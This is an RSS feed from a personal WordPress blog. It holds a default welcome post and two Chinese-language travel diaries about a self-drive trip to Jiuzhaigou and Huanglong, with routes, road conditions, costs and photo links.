<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Yanxin&#039;s Blog</title>
	<atom:link href="http://yanxin.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://yanxin.wordpress.com</link>
	<description>Just another WordPress.com site</description>
	<lastBuildDate>Tue, 19 Oct 2010 16:26:56 +0000</lastBuildDate>
	<language>zh</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='yanxin.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>Yanxin&#039;s Blog</title>
		<link>http://yanxin.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://yanxin.wordpress.com/osd.xml" title="Yanxin&#039;s Blog" />
	<atom:link rel='hub' href='http://yanxin.wordpress.com/?pushpress=hub'/>
		<item>
		<title>Hello world!</title>
		<link>http://yanxin.wordpress.com/2010/07/26/hello-world/</link>
		<comments>http://yanxin.wordpress.com/2010/07/26/hello-world/#comments</comments>
		<pubDate>Mon, 26 Jul 2010 15:54:03 +0000</pubDate>
		<dc:creator>yanxin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://yanxin.wordpress.com/?p=1</guid>
		<description><![CDATA[Welcome to WordPress.com. This is your first post. Edit or delete it and start blogging!<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=yanxin.wordpress.com&amp;blog=14880534&amp;post=1&amp;subd=yanxin&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Welcome to <a href="http://wordpress.com/">WordPress.com</a>. This is your first post. Edit or delete it and start blogging!</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/yanxin.wordpress.com/1/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/yanxin.wordpress.com/1/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/yanxin.wordpress.com/1/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/yanxin.wordpress.com/1/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/yanxin.wordpress.com/1/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/yanxin.wordpress.com/1/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/yanxin.wordpress.com/1/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/yanxin.wordpress.com/1/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/yanxin.wordpress.com/1/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/yanxin.wordpress.com/1/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/yanxin.wordpress.com/1/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/yanxin.wordpress.com/1/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/yanxin.wordpress.com/1/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/yanxin.wordpress.com/1/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=yanxin.wordpress.com&amp;blog=14880534&amp;post=1&amp;subd=yanxin&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://yanxin.wordpress.com/2010/07/26/hello-world/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/72d0839946097124234a921e0f3fec87?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">yanxin</media:title>
		</media:content>
	</item>
		<item>
		<title>九寨沟，黄龙&amp;海螺沟自驾攻略（二）</title>
		<link>http://yanxin.wordpress.com/2009/06/19/%e4%b9%9d%e5%af%a8%e6%b2%9f%ef%bc%8c%e9%bb%84%e9%be%99%e6%b5%b7%e8%9e%ba%e6%b2%9f%e8%87%aa%e9%a9%be%e6%94%bb%e7%95%a5%ef%bc%88%e4%ba%8c%ef%bc%89/</link>
		<comments>http://yanxin.wordpress.com/2009/06/19/%e4%b9%9d%e5%af%a8%e6%b2%9f%ef%bc%8c%e9%bb%84%e9%be%99%e6%b5%b7%e8%9e%ba%e6%b2%9f%e8%87%aa%e9%a9%be%e6%94%bb%e7%95%a5%ef%bc%88%e4%ba%8c%ef%bc%89/#comments</comments>
		<pubDate>Thu, 18 Jun 2009 18:47:09 +0000</pubDate>
		<dc:creator>yanxin</dc:creator>
				<category><![CDATA[个人]]></category>

		<guid isPermaLink="false">http://yanxin.wordpress.com/2009/06/19/%e4%b9%9d%e5%af%a8%e6%b2%9f%ef%bc%8c%e9%bb%84%e9%be%99%e6%b5%b7%e8%9e%ba%e6%b2%9f%e8%87%aa%e9%a9%be%e6%94%bb%e7%95%a5%ef%bc%88%e4%ba%8c%ef%bc%89</guid>
		<description><![CDATA[Day 4      九寨沟口&#8212;川主寺&#8212;红军长征纪念馆&#8212;黄龙&#8212;九寨天堂      早上办理完Check out之后就把所有行李都扔到车上，开始往黄龙进发。一路基本上都是山路，不过相比较来九寨沟的路已经好了很多。正巧遇到昨天下雨，山上全都积起了大雪，山景是别有一番风味，不过给开车的难度增加了许多。       川主寺是松潘县下辖的一个小镇，不过到那里的时候发现这里也相当繁华，可能是因为离九黄机场比较近的缘故吧。在这里有红军长征纪念园，貌似当年红军翻越夹金山的时候路过了这里。       在这里换县道前往黄龙，路况比之前的213国道要差许多了，路上要翻过一个海拔5000米的山，加上下雪，这段路也是十分危险的。特别是在从这里回九寨的时候在山顶上起了大雾，能见度不到30米，也算吓出一身冷汗，朋友打趣说开过这种路况后基本上没有什么别的路会被难倒了。         到达黄龙的时候已经是下午1点，来这里的人看起来比九寨沟要少许多。买票的时候售票员好心的提醒我们现在是黄龙的枯水期，只有五彩池有水，不过进去的时候发现干枯的河床也是很不错的，可以想象有水的季节里这里是多么的美了。黄龙这里海拔偏高，景区内基本上都是上山下山的路，走上去还是非常辛苦的，虽然说景区有缆车，不过缆车离五彩池也很远，大概也就是把上山的路拉成了平路而已。       从黄龙回来后就转到九寨天堂，作为九寨沟最有特色的酒店趁着淡季来体验体验。不过由于今天开车太累办理了Check in后就在客房休息，这里的奢华程度还是出乎了自己的预料。       花费：黄龙学生票150/人，黄龙缆车下行40/人，油费60，藏族晚餐60<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=yanxin.wordpress.com&amp;blog=14880534&amp;post=4&amp;subd=yanxin&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<div id="msgcns!8BD5D359E9E6F819!1993" class="bvMsg">
<p>Day 4<br />      九寨沟口&#8212;川主寺&#8212;红军长征纪念馆&#8212;黄龙&#8212;九寨天堂<br />      早上办理完Check out之后就把所有行李都扔到车上，开始往黄龙进发。一路基本上都是山路，不过相比较来九寨沟的路已经好了很多。正巧遇到昨天下雨，山上全都积起了大雪，山景是别有一番风味，不过给开车的难度增加了许多。</p>
<p><a href="http://yanxin.files.wordpress.com/2009/06/dsc_00905b25d.jpg" rel="WLPP"><img style="display:inline;border-width:0;" title="DSC_0090" border="0" alt="DSC_0090" src="http://yanxin.files.wordpress.com/2009/06/dsc_00905b25d.jpg?w=244&#038;h=165" width="244" height="165" /></a> <a href="http://yanxin.files.wordpress.com/2009/06/dsc_00985b25d.jpg" rel="WLPP"><img style="display:inline;border-width:0;" title="DSC_0098" border="0" alt="DSC_0098" src="http://yanxin.files.wordpress.com/2009/06/dsc_00985b25d.jpg?w=244&#038;h=165" width="244" height="165" /></a> <a href="http://yanxin.files.wordpress.com/2009/06/dsc_01085b25d.jpg" rel="WLPP"><img style="display:inline;border-width:0;" title="DSC_0108" border="0" alt="DSC_0108" src="http://yanxin.files.wordpress.com/2009/06/dsc_01085b25d.jpg?w=244&#038;h=165" width="244" height="165" /></a> <br />      川主寺是松潘县下辖的一个小镇，不过到那里的时候发现这里也相当繁华，可能是因为离九黄机场比较近的缘故吧。在这里有红军长征纪念园，貌似当年红军翻越夹金山的时候路过了这里。<br /><a href="http://yanxin.files.wordpress.com/2009/06/dsc_01495b25d.jpg" rel="WLPP"><img style="display:inline;border-width:0;" title="DSC_0149" border="0" alt="DSC_0149" src="http://yanxin.files.wordpress.com/2009/06/dsc_01495b25d.jpg?w=244&#038;h=165" width="244" height="165" /></a> <a href="http://yanxin.files.wordpress.com/2009/06/dsc_01565b25d.jpg" rel="WLPP"><img style="display:inline;border-width:0;" title="DSC_0156" border="0" alt="DSC_0156" src="http://yanxin.files.wordpress.com/2009/06/dsc_01565b25d.jpg?w=165&#038;h=244" width="165" height="244" /></a><br />      在这里换县道前往黄龙，路况比之前的213国道要差许多了，路上要翻过一个海拔5000米的山，加上下雪，这段路也是十分危险的。特别是在从这里回九寨的时候在山顶上起了大雾，能见度不到30米，也算吓出一身冷汗，朋友打趣说开过这种路况后基本上没有什么别的路会被难倒了。<br /><a href="http://yanxin.files.wordpress.com/2009/06/dsc_02035b25d.jpg" rel="WLPP"><img style="display:inline;border-width:0;" title="DSC_0203" border="0" alt="DSC_0203" src="http://yanxin.files.wordpress.com/2009/06/dsc_02035b25d.jpg?w=244&#038;h=165" width="244" height="165" /></a> <a href="http://yanxin.files.wordpress.com/2009/06/dsc_02065b25d.jpg" rel="WLPP"><img style="display:inline;border-width:0;" title="DSC_0206" border="0" alt="DSC_0206" src="http://yanxin.files.wordpress.com/2009/06/dsc_02065b25d.jpg?w=244&#038;h=165" width="244" height="165" /></a> <a href="http://yanxin.files.wordpress.com/2009/06/dsc_02475b25d.jpg" rel="WLPP"><img style="display:inline;border-width:0;" title="DSC_0247" border="0" alt="DSC_0247" src="http://yanxin.files.wordpress.com/2009/06/dsc_02475b25d.jpg?w=244&#038;h=165" width="244" height="165" /></a> <a href="http://yanxin.files.wordpress.com/2009/06/dsc_02255b25d.jpg" rel="WLPP"><img style="display:inline;border-width:0;" title="DSC_0225" border="0" alt="DSC_0225" src="http://yanxin.files.wordpress.com/2009/06/dsc_02255b25d.jpg?w=244&#038;h=165" width="244" height="165" /></a> <a href="http://yanxin.files.wordpress.com/2009/06/dsc_02365b25d.jpg" rel="WLPP"><img style="display:inline;border-width:0;" title="DSC_0236" border="0" alt="DSC_0236" src="http://yanxin.files.wordpress.com/2009/06/dsc_02365b25d.jpg?w=244&#038;h=165" width="244" height="165" /></a> <a href="http://yanxin.files.wordpress.com/2009/06/dsc_02675b25d.jpg" rel="WLPP"><img style="display:inline;border-width:0;" title="DSC_0267" border="0" alt="DSC_0267" src="http://yanxin.files.wordpress.com/2009/06/dsc_02675b25d.jpg?w=244&#038;h=165" width="244" height="165" /></a> <br />      到达黄龙的时候已经是下午1点，来这里的人看起来比九寨沟要少许多。买票的时候售票员好心的提醒我们现在是黄龙的枯水期，只有五彩池有水，不过进去的时候发现干枯的河床也是很不错的，可以想象有水的季节里这里是多么的美了。黄龙这里海拔偏高，景区内基本上都是上山下山的路，走上去还是非常辛苦的，虽然说景区有缆车，不过缆车离五彩池也很远，大概也就是把上山的路拉成了平路而已。<br /><a href="http://yanxin.files.wordpress.com/2009/06/dsc_02795b25d.jpg" rel="WLPP"><img style="display:inline;border-width:0;" title="DSC_0279" border="0" alt="DSC_0279" src="http://yanxin.files.wordpress.com/2009/06/dsc_02795b25d.jpg?w=244&#038;h=165" width="244" height="165" /></a> <a href="http://yanxin.files.wordpress.com/2009/06/dsc_02865b25d.jpg" rel="WLPP"><img style="display:inline;border-width:0;" title="DSC_0286" border="0" alt="DSC_0286" src="http://yanxin.files.wordpress.com/2009/06/dsc_02865b25d.jpg?w=244&#038;h=165" width="244" height="165" /></a> <a href="http://yanxin.files.wordpress.com/2009/06/dsc_02945b25d.jpg" rel="WLPP"><img style="display:inline;border-width:0;" title="DSC_0294" border="0" alt="DSC_0294" src="http://yanxin.files.wordpress.com/2009/06/dsc_02945b25d.jpg?w=165&#038;h=244" width="165" height="244" /></a> <a href="http://yanxin.files.wordpress.com/2009/06/dsc_03035b25d.jpg" rel="WLPP"><img style="display:inline;border-width:0;" title="DSC_0303" border="0" alt="DSC_0303" src="http://yanxin.files.wordpress.com/2009/06/dsc_03035b25d.jpg?w=244&#038;h=165" width="244" height="165" /></a> <a href="http://yanxin.files.wordpress.com/2009/06/dsc_03705b25d.jpg" rel="WLPP"><img style="display:inline;border-width:0;" title="DSC_0370" border="0" alt="DSC_0370" src="http://yanxin.files.wordpress.com/2009/06/dsc_03705b25d.jpg?w=244&#038;h=165" width="244" height="165" /></a> <a href="http://yanxin.files.wordpress.com/2009/06/dsc_03925b25d.jpg" rel="WLPP"><img style="display:inline;border-width:0;" title="DSC_0392" border="0" alt="DSC_0392" src="http://yanxin.files.wordpress.com/2009/06/dsc_03925b25d.jpg?w=244&#038;h=165" width="244" height="165" /></a> <a href="http://yanxin.files.wordpress.com/2009/06/dsc_04075b25d.jpg" rel="WLPP"><img style="display:inline;border-width:0;" title="DSC_0407" border="0" alt="DSC_0407" src="http://yanxin.files.wordpress.com/2009/06/dsc_04075b25d.jpg?w=244&#038;h=165" width="244" height="165" /></a> <a href="http://yanxin.files.wordpress.com/2009/06/dsc_04205b25d.jpg" rel="WLPP"><img style="display:inline;border-width:0;" title="DSC_0420" border="0" alt="DSC_0420" src="http://yanxin.files.wordpress.com/2009/06/dsc_04205b25d.jpg?w=244&#038;h=165" width="244" height="165" /></a> <br />      从黄龙回来后就转到九寨天堂，作为九寨沟最有特色的酒店趁着淡季来体验体验。不过由于今天开车太累办理了Check in后就在客房休息，这里的奢华程度还是出乎了自己的预料。<br /><a href="http://yanxin.files.wordpress.com/2009/06/dsc_06095b25d.jpg" rel="WLPP"><img style="display:inline;border-width:0;" title="DSC_0609" border="0" alt="DSC_0609" src="http://yanxin.files.wordpress.com/2009/06/dsc_06095b25d.jpg?w=244&#038;h=165" width="244" height="165" /></a> <a href="http://yanxin.files.wordpress.com/2009/06/dsc_06195b25d.jpg" rel="WLPP"><img style="border-bottom:0;border-left:0;display:inline;border-top:0;border-right:0;" title="DSC_0619" border="0" alt="DSC_0619" src="http://yanxin.files.wordpress.com/2009/06/dsc_06195b25d.jpg?w=244&#038;h=165" width="244" height="165" /></a> <br />      花费：黄龙学生票150/人，黄龙缆车下行40/人，油费60，藏族晚餐60</p>
</p></div>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/yanxin.wordpress.com/4/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/yanxin.wordpress.com/4/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/yanxin.wordpress.com/4/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/yanxin.wordpress.com/4/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/yanxin.wordpress.com/4/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/yanxin.wordpress.com/4/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/yanxin.wordpress.com/4/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/yanxin.wordpress.com/4/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/yanxin.wordpress.com/4/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/yanxin.wordpress.com/4/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/yanxin.wordpress.com/4/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/yanxin.wordpress.com/4/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/yanxin.wordpress.com/4/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/yanxin.wordpress.com/4/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=yanxin.wordpress.com&amp;blog=14880534&amp;post=4&amp;subd=yanxin&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://yanxin.wordpress.com/2009/06/19/%e4%b9%9d%e5%af%a8%e6%b2%9f%ef%bc%8c%e9%bb%84%e9%be%99%e6%b5%b7%e8%9e%ba%e6%b2%9f%e8%87%aa%e9%a9%be%e6%94%bb%e7%95%a5%ef%bc%88%e4%ba%8c%ef%bc%89/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/72d0839946097124234a921e0f3fec87?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">yanxin</media:title>
		</media:content>

		<media:content url="http://yanxin.files.wordpress.com/2009/06/dsc_00905b25d.jpg?w=300" medium="image">
			<media:title type="html">DSC_0090</media:title>
		</media:content>

		<media:content url="http://yanxin.files.wordpress.com/2009/06/dsc_00985b25d.jpg?w=300" medium="image">
			<media:title type="html">DSC_0098</media:title>
		</media:content>

		<media:content url="http://yanxin.files.wordpress.com/2009/06/dsc_01085b25d.jpg?w=300" medium="image">
			<media:title type="html">DSC_0108</media:title>
		</media:content>

		<media:content url="http://yanxin.files.wordpress.com/2009/06/dsc_01495b25d.jpg?w=300" medium="image">
			<media:title type="html">DSC_0149</media:title>
		</media:content>

		<media:content url="http://yanxin.files.wordpress.com/2009/06/dsc_01565b25d.jpg?w=200" medium="image">
			<media:title type="html">DSC_0156</media:title>
		</media:content>

		<media:content url="http://yanxin.files.wordpress.com/2009/06/dsc_02035b25d.jpg?w=300" medium="image">
			<media:title type="html">DSC_0203</media:title>
		</media:content>

		<media:content url="http://yanxin.files.wordpress.com/2009/06/dsc_02065b25d.jpg?w=300" medium="image">
			<media:title type="html">DSC_0206</media:title>
		</media:content>

		<media:content url="http://yanxin.files.wordpress.com/2009/06/dsc_02475b25d.jpg?w=300" medium="image">
			<media:title type="html">DSC_0247</media:title>
		</media:content>

		<media:content url="http://yanxin.files.wordpress.com/2009/06/dsc_02255b25d.jpg?w=300" medium="image">
			<media:title type="html">DSC_0225</media:title>
		</media:content>

		<media:content url="http://yanxin.files.wordpress.com/2009/06/dsc_02365b25d.jpg?w=300" medium="image">
			<media:title type="html">DSC_0236</media:title>
		</media:content>

		<media:content url="http://yanxin.files.wordpress.com/2009/06/dsc_02675b25d.jpg?w=300" medium="image">
			<media:title type="html">DSC_0267</media:title>
		</media:content>

		<media:content url="http://yanxin.files.wordpress.com/2009/06/dsc_02795b25d.jpg?w=300" medium="image">
			<media:title type="html">DSC_0279</media:title>
		</media:content>

		<media:content url="http://yanxin.files.wordpress.com/2009/06/dsc_02865b25d.jpg?w=300" medium="image">
			<media:title type="html">DSC_0286</media:title>
		</media:content>

		<media:content url="http://yanxin.files.wordpress.com/2009/06/dsc_02945b25d.jpg?w=200" medium="image">
			<media:title type="html">DSC_0294</media:title>
		</media:content>

		<media:content url="http://yanxin.files.wordpress.com/2009/06/dsc_03035b25d.jpg?w=300" medium="image">
			<media:title type="html">DSC_0303</media:title>
		</media:content>

		<media:content url="http://yanxin.files.wordpress.com/2009/06/dsc_03705b25d.jpg?w=300" medium="image">
			<media:title type="html">DSC_0370</media:title>
		</media:content>

		<media:content url="http://yanxin.files.wordpress.com/2009/06/dsc_03925b25d.jpg?w=300" medium="image">
			<media:title type="html">DSC_0392</media:title>
		</media:content>

		<media:content url="http://yanxin.files.wordpress.com/2009/06/dsc_04075b25d.jpg?w=300" medium="image">
			<media:title type="html">DSC_0407</media:title>
		</media:content>

		<media:content url="http://yanxin.files.wordpress.com/2009/06/dsc_04205b25d.jpg?w=300" medium="image">
			<media:title type="html">DSC_0420</media:title>
		</media:content>

		<media:content url="http://yanxin.files.wordpress.com/2009/06/dsc_06095b25d.jpg?w=300" medium="image">
			<media:title type="html">DSC_0609</media:title>
		</media:content>

		<media:content url="http://yanxin.files.wordpress.com/2009/06/dsc_06195b25d.jpg?w=300" medium="image">
			<media:title type="html">DSC_0619</media:title>
		</media:content>
	</item>
		<item>
		<title>九寨沟，黄龙&amp;海螺沟自驾攻略（一）</title>
		<link>http://yanxin.wordpress.com/2009/05/19/%e4%b9%9d%e5%af%a8%e6%b2%9f%ef%bc%8c%e9%bb%84%e9%be%99%e6%b5%b7%e8%9e%ba%e6%b2%9f%e8%87%aa%e9%a9%be%e6%94%bb%e7%95%a5%ef%bc%88%e4%b8%80%ef%bc%89/</link>
		<comments>http://yanxin.wordpress.com/2009/05/19/%e4%b9%9d%e5%af%a8%e6%b2%9f%ef%bc%8c%e9%bb%84%e9%be%99%e6%b5%b7%e8%9e%ba%e6%b2%9f%e8%87%aa%e9%a9%be%e6%94%bb%e7%95%a5%ef%bc%88%e4%b8%80%ef%bc%89/#comments</comments>
		<pubDate>Tue, 19 May 2009 15:19:35 +0000</pubDate>
		<dc:creator>yanxin</dc:creator>
				<category><![CDATA[个人]]></category>

		<guid isPermaLink="false">http://yanxin.wordpress.com/2009/05/19/%e4%b9%9d%e5%af%a8%e6%b2%9f%ef%bc%8c%e9%bb%84%e9%be%99%e6%b5%b7%e8%9e%ba%e6%b2%9f%e8%87%aa%e9%a9%be%e6%94%bb%e7%95%a5%ef%bc%88%e4%b8%80%ef%bc%89</guid>
		<description><![CDATA[九寨美景的确不虚此行，虽然不是最好的时间，但是依然被这里的美景所震撼 Day 1      成都&#8212;绵阳&#8212;江油&#8212;平武&#8212;九寨沟县&#8212;九寨沟口      第一天出发的有点晚，成都出发的时候已经接近中午11点，不由的开始担心会不会需要晚上在山道上赶路。虽然如此，但还是得继续前进，因为美景就在前方。出成都后上成绵高速，往绵阳方向驶去，郁闷的是在高速上堵了两次，耽误了不少时间。从绵阳北下高速后走205省到往江油方向，到江油前路都挺好走的，基本上也看不出有什么地震的影响。出了江油后继续顺205省道，在桂溪乡附近换105省道，然后再在南坪镇换205省道一直到平武县。这段路受到地震影响比较大，时不时的在路上都有坑坑洼洼的洞，有的地方整个路面都被毁坏，只有推土机推出来的不平土路，来往的车辆比较多，在这里也堵了将近半个小时。在这里地震后的痕迹也随处可见，不过欣喜的是灾区也都已经开始重建，路边的小村也在回复往日的繁华。到平武的时候已经下午5点半了，犹豫了一阵后决定继续赶路，后面路线比较明确，也就是顺着205国道一直走。从平武到进入阿坝州之前的路还比较好走，偶尔路中会出现几个小洞。当进入阿坝后路况吓了我们一条，水泥没有了，都是黄土路，好多地方路面塌陷或者毁坏，只有刚用推土机推出来的一条只允许单车通过的小道，路面坑坑洼洼，起伏不平，再加上进入阿坝的时候已经晚上6点半了，天开始黑起来，这段路只有用惊心动魄来形容。不过十分幸运的是在路上遇到了一个同自驾去九寨的师傅，他十分热心的晚上在前面帮我们带路，如果不是他这段路还真是不知道怎么开过来。在路上颠了4个多小时后10点半来到了九寨沟县，和之前给我们带路的师傅分手了。不过再往后从九寨沟县到九寨沟口的路十分好走，终于在11点多赶到了宾馆。      花费：成绵高速￥43，213国道￥25，油费大概￥100 Day 2      九寨沟口&#8212;徒步树正沟&#8212;盆景滩&#8212;芦苇海&#8212;火花海&#8212;树正群海&#8212;犀牛海&#8212;诺日朗瀑布&#8212;九寨沟口      早上起床后呼吸着新鲜的空气，看着身边山上的云雾，不得不感叹这里就像仙境。      九点多赶到景区门口，只买了门票，第一天想先徒步体验先九寨沟，不过不得不说这是对自己脚力的一个很大的考验。一直到下午五点，我们才终于到了九寨沟的三条沟的中间处，整整八个小时。但是路上的美景的确不是坐旅游车能看到。当我们疲惫的走到诺日朗时就在想今天看来是出不去了，不过遇到了一个好心的当地藏族大叔，开车把我们带到了沟口，不得不说西部人们的热心于淳朴。        花费：出租车费￥10，九寨沟门票￥170/人 Day 3      九寨沟口&#8212;搭游览车到长海&#8212;五彩池&#8212;诺日朗服务中心&#8212;原始森林&#8212;天鹅海箭竹海&#8212;五花海&#8212;珍珠滩&#8212;镜海&#8212;树正寨&#8212;九寨沟口      在昨天走了15公里的山路后今天再看看90公里的山路，想想后还是去买了张车票。坐车游九寨的确轻松了许多，不过总感觉少了点什么。似乎坐车只能走马观花的看看这里的美景，而无法体验这里的宁静。早上先坐车去长海，看着雪山在海子里的倒影，感觉人都被净化了。由于时间不是很好，五彩池里没有多少水，几个季节海也都干掉了，这个不得不说是一个遗憾。之后的原始森林是九寨海拔最高的地方，在里面呼吸呼吸新鲜空气还是不错的，唯一的问题就是这里比较冷。之后的五花海是九寨沟的精华，可以选择从箭竹海徒步往五花海，在雨水季节可以看到箭竹海瀑布。五花海感觉像五彩池和镜海和结合，平静的水面上呈现出不同的颜色，不过个人感觉更喜欢长海那种宁静的感觉。后面的珍珠滩瀑布据说就是老西游记片尾的那个拍摄地，仔细一看还是挺像的（其实本来就是）。风景看完了也就该去体验人文了，之后来到九寨沟内最大的藏族村寨&#8212;树正寨。里面有很多卖纪念品的小店，不过最吸引我的还是听了许久的青稞饼和酥油茶，青稞饼的味道感觉和煎饼差不多，酥油茶就是十分像台湾奶茶，后来几天在这里每天跑去找酥油茶喝。          花费：观光车费￥90/人，景区小吃￥10，千鹤酒店住宿180×3<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=yanxin.wordpress.com&amp;blog=14880534&amp;post=5&amp;subd=yanxin&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<div id="msgcns!8BD5D359E9E6F819!1879" class="bvMsg">
<p>九寨美景的确不虚此行，虽然不是最好的时间，但是依然被这里的美景所震撼</p>
<p>Day 1<br />      成都&#8212;绵阳&#8212;江油&#8212;平武&#8212;九寨沟县&#8212;九寨沟口<a href="http://yanxin.files.wordpress.com/2009/05/dsc_00035b35d.jpg" rel="WLPP"><img style="display:inline;border-width:0;" title="DSC_0003" border="0" alt="DSC_0003" align="right" src="http://yanxin.files.wordpress.com/2009/05/dsc_00035b35d.jpg?w=244&#038;h=165" width="244" height="165" /></a><br />      第一天出发的有点晚，成都出发的时候已经接近中午11点，不由的开始担心会不会需要晚上在山道上赶路。虽然如此，但还是得继续前进，因为美景就在前方。出成都后上成绵高速，往绵阳方向驶去，郁闷的是在高速上堵了两次，耽误了不少时间。从绵阳北下高速后走205省到往江油方向，到江油前路都挺好走的，基本上也看不出有什么地震的影响。出了江油后继续顺205省道，在桂溪乡附近换105省道，然后再在南坪镇换205省道一直到平武县。这段路受到地震影响比较大，时不时的在路上都有坑坑洼洼的洞，有的地方整个路面都被毁坏，只有推土机推出来的不平土路，来往的车辆比较多，在这里也堵了将近半个小时。在这里地震后的痕迹也随处可见，不过欣喜的是灾区也都已经开始重建，路边的小村也在回<a href="http://yanxin.files.wordpress.com/2009/05/dsc_00185b65d.jpg" rel="WLPP"><img style="display:inline;margin-left:0;margin-right:0;border-width:0;" title="DSC_0018" border="0" alt="DSC_0018" align="left" src="http://yanxin.files.wordpress.com/2009/05/dsc_00185b65d.jpg?w=244&#038;h=165" width="244" height="165" /></a>复往日的繁华。到平武的时候已经下午5点半了，犹豫了一阵后决定继续赶路，后面路线比较明确，也就是顺着205国道一直走。从平武到进入阿坝州之前的路还比较好走，偶尔路中会出现几个小洞。当进入阿坝后路况吓了我们一条，水泥没有了，都是黄土路，好多地方路面塌陷或者毁坏，只有刚用推土机推出来的一条只允许单车通过的小道，路面坑坑洼洼，起伏不平，再加上进入阿坝的时候已经晚上6点半了，天开始黑起来，这段路只有用惊心动魄来形容。不过十分幸运的是在路上遇到了一个同自驾去九寨的师傅，他十分热心的晚上在前面帮我们带路，如果不是他这段路还真是不知道怎么开过来。在路上颠了4个多小时后10点半来到了九寨沟县，和之前给我们带路的师傅分手了。不过再往后从九寨沟县到九寨沟口的路十分好走，终于在11点多赶到了宾馆。<br />      花费：成绵高速￥43，213国道￥25，油费大概￥100</p>
<p>Day 2<br />      九寨沟口&#8212;徒步树正沟&#8212;盆景滩&#8212;芦苇海&#8212;火花海&#8212;树正群海&#8212;犀牛海&#8212;诺日朗瀑布&#8212;九寨沟口<a href="http://yanxin.files.wordpress.com/2009/05/dsc_00905b35d.jpg" rel="WLPP"><img style="display:inline;margin-left:0;margin-right:0;border-width:0;" title="DSC_0090" border="0" alt="DSC_0090" align="right" src="http://yanxin.files.wordpress.com/2009/05/dsc_00905b35d.jpg?w=244&#038;h=165" width="244" height="165" /></a><br />      早上起床后呼吸着新鲜的空气，看着身边山上的云雾，不得不感叹这里就像仙境。<br />      九点多赶到景区门口，只买了门票，第一天想先徒步体验先九寨沟，不过不得不说这是对自己脚力的一个很大的考验。一直到下午五点，我们才终于到了九寨沟的三条沟的中间处，整整八个小时。但是路上的美景的确不是坐旅游车能看到。当我们疲惫的走到诺日朗时就在想今天看来是出不去了，不过遇到了一个好心的当地藏族大叔，开车把我们带到了沟口，不得不说西部人们的热心于淳朴。</p>
